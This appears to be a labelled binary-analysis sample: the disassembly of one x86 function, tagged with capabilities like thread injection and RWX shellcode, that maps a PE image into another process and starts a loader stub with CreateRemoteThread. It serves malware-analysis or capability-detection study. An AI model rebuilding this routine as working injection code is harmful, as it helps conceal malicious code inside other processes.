Function at 0x41a180
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504bc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x258
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0x40
cmovae esi, dword [ebx + 8]
cmovae ecx, dword [ebx + 8]
mov dword [ebp - 0x1c], esi
push 0x3000
mov esi, dword [esi + 0x3c]
add esi, ecx
mov dword [ebp - 0x14], esi
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0
push dword [esi + 0x54]
cmovae ecx, dword [ebx + 8]
push ecx
push eax
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x41a257
add esi, 0x10c
nop dword [eax]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebx + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x20]
push ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x41a220
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x268], eax
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x264], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x260], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x258], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x200
mov dword [ebp - 0x254], eax
lea eax, [ebp - 0x250]
push 0
push eax
mov dword [ebp - 0x25c], ecx
call fcn.004df810
mov edx, dword [0x534b84]
lea ecx, [ebp - 0x13]
add esp, 0xc
mov word [ebp - 0x13], 0x3a
mov byte [ebp - 0x11], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a2e7
mov eax, 0x7fffffff
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x41a4af
cmp dword [0x534b88], 0x10
mov eax, 0x534b74
push ecx
cmovae eax, dword [0x534b74]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
call fcn.0046dfc0
push 0x5370f0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.00466300
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x28], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x41a3a1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a397
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a4b4
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp dword [0x534b58], 0x10
lea eax, [ebp - 0x38]
mov ecx, str.1114
cmovae ecx, dword [str.1114]
cmp dword [ebp - 0x24], 0x10
push ecx
cmovae eax, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x250]
push str._s_s
push eax
call fcn.00402d00
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x268]
add esp, 0x10
push 0
push 0x218
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.0041a170
add esi, 0x218
sub eax, 0x41a060
push eax
push 0x41a060
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x18]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x41a45a
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a450
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a4b9
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp ecx, 0x10
jb 0x41a49c
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a492
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a4b9
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
int3